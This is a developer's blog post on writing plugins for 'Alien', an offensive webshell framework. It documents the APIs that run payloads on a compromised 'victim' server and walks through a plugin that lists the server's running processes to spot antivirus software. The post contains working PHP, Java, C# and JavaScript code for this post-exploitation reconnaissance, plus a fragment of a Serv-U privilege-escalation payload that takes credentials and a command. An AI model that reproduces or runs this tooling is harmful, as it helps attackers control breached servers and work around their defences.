[Alien] How to Develop A Plugin

First Post:

Last Update:

Word Count:
1.7k

Read Time:
10 min

Introduction

A few days ago, I published Alien v5.0.0. After that, I took some time to get some rest (well… I had been dealing with too many things, including sleep problems).

In this article, I will introduce the plugin framework of Alien and demonstrate how to develop a custom plugin.

Why Plugins?

A plugin architecture is one of the most essential components of a modern offensive security tool because it improves extensibility and extends the lifespan of the framework.

Many well-known offensive security tools, including Cobalt Strike, Ghidra, IDA Pro, and DanderSpritz, provide plugin architectures. Plugins can be used to target different servers, web applications, databases, and content management systems (CMS), including Apache, Nginx, IIS, phpMyAdmin, MySQL, and WordPress.

How Alien Plugins Work

The core of the plugin system is an embedded WebView. The WebView in Control Panel loads the UI (mainly written in HTML) of a plugin. The UI logic is implemented in JavaScript. In other words, all plugins run in an embedded web browser.

graph LR Plugin --> JavaScript JavaScript --> Bridge Bridge --> Alien Alien --> Payload Payload --> Victim

Alien exposes a set of APIs that bridge the embedded browser and the native application. Therefore, plugins can read additional payload files (such as DLLs or class files) through the provided APIs.

The payload executed by a plugin is essentially an advanced form of eval(). Languages such as PHP and Classic ASP execute payloads through eval(), while Java and .NET rely on reflective loading.

The overall hierarchy of a plugin is shown below:

1
2
3
4
5
6
7
8
├── index.html                      // Plugin's UI
├── manifest.json // Information JSON
└── payloads // payload directory
└── JSP
└── NebulaPulsar
└── DarkMatter
├── payload.class // payload file
└── payload.java // payload source code

APIs

Alien exposes the following APIs:

fnGetShellType

1
fnGetShellType()

Returns the environment string of the current webshell.

The environment string is used to determine whether a plugin supports the current shell and to locate the corresponding payload directory.

For example:

1
2
PHP/v8.X/OneShell
JSP/NebulaPulsar/DarkMatter

A plugin is available only if the returned environment exists in the environment field of manifest.json.

fnGetPayload

1
2
3
4
5
public string fnGetPayload(
string szDirName,
string szEnv,
string szName
)

Loads a payload from the plugin directory.

Parameters:

  • szDirName — Plugin directory.
  • szEnv — Current environment string.
  • szName — Payload file name without its extension.

Returns:

  • The payload as plain text. If the current environment is NebulaPulsar, the payload is returned as a Base64-encoded binary.

fnReadFileText

1
2
3
public string fnReadFileText(
string szFilePath
)

Reads the specified text file.

Parameters:

  • szFilePath — Path to the file.

Returns:

  • File contents as a string

fnReadFileBytes

1
2
3
public string fnReadFileBytes(
string szFilePath
)

Reads the specified file as binary data and returns it as a Base64-encoded string.

Parameters:

  • szFilePath — Path to the file.

Returns:

  • File contents encoded as Base64.

fnRun

1
2
3
4
5
public async Task<string> fnRun(
string szJson,
string szPayload,
string szEnvironment
)

Executes the specified payload on the remote server.

Parameters:

  • szJson — JSON configuration passed to the payload.
  • szPayload — Payload source code or binary.
  • szEnvironment — Environment string of the current webshell.

Returns:

  • The raw output returned by the payload.

Developing a Plugin

In this section, I am going to show how to write a plugin to detect any anti-virus software on the remote server. The core idea is to obtain all running processes from the remote server and compare them against a database of known anti-virus software.

First, create a new directory Anti-Virus, then we need a manifest.json to configure the information of a plugin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"name": "Anti-Virus",
"version": "1.0",
"author": "iss4cf0ng/ISSAC",
"environment": [
"PHP/v5.X/OneShell",
"PHP/v7.X/OneShell",
"PHP/v8.X/OneShell",
"ASP/Classic/OneShell",
"ASPX/JScript/OneShell",
"JSP/NebulaPulsar/DarkMatter"
],
"description": "Scan all Anti-Virus."
}

All fields shown above are required. Among these fields, environment is the most important. The environment string serves two purposes:

  • It determines whether the plugin is compatible with the current webshell.
  • It determines where the corresponding payload is located.

For instance, if the environment of the current webshell is PHP/v8.X/OneShell, the payload can be loaded in JavaScript as follows:

1
2
3
4
5
6
7
8
9
10
11
// PHP/v8.X/OneShell
let currentShellType = await bridge.fnGetShellType();

// Object for bridging WebView and C# application
const bridge = window.chrome.webview.hostObjects.nativeBridge;

// Current directory of the HTML (Value of browser URL)
const currentDir = window.location.pathname.substring(1, window.location.pathname.lastIndexOf('/') + 1);

// Payload code. If environment (ShellType) is NebulaPulsar, it returns a Base64-encoded bytes
const payloadCode = await bridge.fnGetPayload(currentDir, currentShellType, "payload");

Alien recursively scans the ./Plugins/ directory during startup. Whenever a manifest.json file is found, the directory is treated as a plugin. The recursion stops once a directory containing manifest.json is found.

Regardless of whether manifest.json exists, the WebView always loads index.html. Therefore, index.html can either serve as the user interface of a plugin or simply as an easter egg inside directory!

In addition, each plugin performs an additional validation in JavaScript:

1
2
3
4
5
6
7
8
9
10
11
12
13
const pluginManifest = {
"supportedLangs": [
"ASP/Classic/OneShell",
"ASHX/JScript/OneShell",
"ASMX/JScript/OneShell",
"ASPX/JScript/OneShell",
"ASPX/NebulaPulsar/DarkMatter",
"PHP/v5.X/OneShell",
"PHP/v7.X/OneShell",
"PHP/v8.X/OneShell",
"JSP/NebulaPulsar/DarkMatter",
]
};

A plugin won’t be available if the environment string is not in the list.

Now, let’s return to our plugin and create the payload file: PHP/v8.X/OneShell/payload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

header('Content-Type: application/json; charset=utf-8');

exec('tasklist /NH /FO CSV', $outputLines);

$processes = [];

foreach ($outputLines as $line) {
$data = str_getcsv($line);

if (isset($data[0])) {
$processes[] = trim($data[0]);
}
}

echo json_encode($processes);

?>

In this case, we don’t have any input parameter. However, if we do, then the JSON configuration must be received through an HTTP POST parameter and CANNOT be z0:

1
2
3
4
5
6
7
8
// payload of Serv-U privilege escalation

$json_pattern = json_decode(base64_decode($_POST['z1']), true);
$host = $json_pattern["ip"];
$port = (int)$json_pattern["port"];
$user = $json_pattern["user"];
$pass = $json_pattern["pass"];
$cmd = $json_pattern["cmd"];

Once everything is in place, we can handle the returned data of payload execution. Therefore, the execution method in JavaScript can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
async function executePlugin() {
const jsonConfig = document.getElementById('targetJson').value;

appendLog(`[*] ALLOCATING INVENTORY PAYLOAD FOR: ${currentShellType.toUpperCase()}`);

const bridge = window.chrome.webview.hostObjects.nativeBridge;
const currentDir = window.location.pathname.substring(1, window.location.pathname.lastIndexOf('/') + 1);

const payloadCode = await bridge.fnGetPayload(currentDir, currentShellType, "payload");
appendLog('[*] ENGAGING REMOTE TASKLIST QUERY...');

const tasklistResultRaw = await bridge.fnRun(jsonConfig, payloadCode, currentShellType);

appendLog('[+] RECEIVED TASKLIST FROM TARGET NODE.');

let localJsonPath = currentDir + "av_list.json";
if (localJsonPath.startsWith("file:///")) {
localJsonPath = localJsonPath.replace("file:///", "").replace(/\//g, "\\");
}

if (localJsonPath.startsWith("/") && localJsonPath.charAt(2) === ':') {
localJsonPath = localJsonPath.substring(1);
}

appendLog(`[*] LOADING LOCAL SIGNATURE MATRIX FROM: ${localJsonPath}`);
const jsonContentRaw = await bridge.fnReadFileText(localJsonPath);

if (!jsonContentRaw) {
appendLog("[!] WARNING: LOCAL SIGNATURE FILE IS EMPTY OR NOT FOUND. UNABLE TO PERFORM MATCHING.");
appendLog("--- RAW TASKLIST OUTPUT ---");
appendLog(tasklistResultRaw);
return;
}

try {
const remoteProcesses = JSON.parse(tasklistResultRaw);
const upperProcessList = Array.isArray(remoteProcesses) ? remoteProcesses.map(p => p.toUpperCase()) : [];

const avDatabase = JSON.parse(jsonContentRaw);
// { "antivirus_list": [ { "name_zh": "...", "process_keywords": [...] }, ... ] }

appendLog("[*] PARSED SIGNATURE DATABASE SUCCESSFULLY. COMMENCING MATCHING...");

let matchCount = 0;

if (avDatabase && Array.isArray(avDatabase.antivirus_list)) {
avDatabase.antivirus_list.forEach(av => {
const avName = av.name;
if (Array.isArray(av.process_keywords)) {
av.process_keywords.forEach(keyword => {

if (upperProcessList.includes(keyword.toUpperCase())) {
appendLog(`[!] ALERT: DETECTED -> [${keyword}] <=> MATCHED TO: ${avName} (${av.region})`);
matchCount++;
}
});
}
});

} else {
throw new Error("INVALID JSON FORMAT: MISSING 'antivirus_list' ARRAY.");
}

if (matchCount === 0) {
appendLog("[+] ANALYSIS COMPLETE: NO KNOWN ANTI-VIRUS PROCESSES DETECTED.");
} else {
appendLog(`[+] ANALYSIS COMPLETE: DETECTED ${matchCount} CONFLICTING SYSTEM DEFENDERS.`);
}

} catch (jsonErr) {
appendLog("[-] MATRIX PARSE ERROR: FAILED TO PARSE LOCAL JSON CONTENT. " + jsonErr.message.toUpperCase());
appendLog("--- RAW TASKLIST OUTPUT ---");
appendLog(tasklistResultRaw);
}
}

If you are not familiar with HTML or JavaScript development, don’t worry! You can simply copy one of the existing plugins and modify only the functionality you need.

Another detail worth mentioning is NebulaPulsar. The main logic has to be implemented in Execute():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public String Execute(Object param) throws Exception {
List<String> processes = new ArrayList<>();

ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", "tasklist /NH /FO CSV");
processBuilder.redirectErrorStream(true);
Process process = processBuilder.start();

try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))) {

String line;
while ((line = reader.readLine()) != null) {
String trimmedLine = line.trim();
if (trimmedLine.isEmpty()) {
continue;
}

String processName = fnParseCsvFirstColumn(trimmedLine);

if (!processName.isEmpty()) {
processes.add(processName);
}
}
}
process.waitFor();

return fnBuildJsonArray(processes);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public string Execute(object param)
{
List<string> processes = new List<string>();

Process[] processList = Process.GetProcesses();
foreach (Process p in processList)
{
try
{
string processName = p.ProcessName + ".exe";
processes.Add(processName);
}
catch
{
// do something.
}
}

return fnBuildJsonArray(processes);
}

Conclusion

This concludes the introduction to developing plugins for Alien.

I hope this article provides enough information for you to start building your own plugins. Whether they target web applications, databases, or entirely different services, the plugin architecture is designed to remain flexible and extensible.

If you are interested in extending Alien, I encourage you to experiment with the plugin framework and build your own modules. I also plan to develop more official plugins and publish them on GitHub!

In the next article, I will introduce the MemoryShell feature provided by Alien.

THANKS FOR READING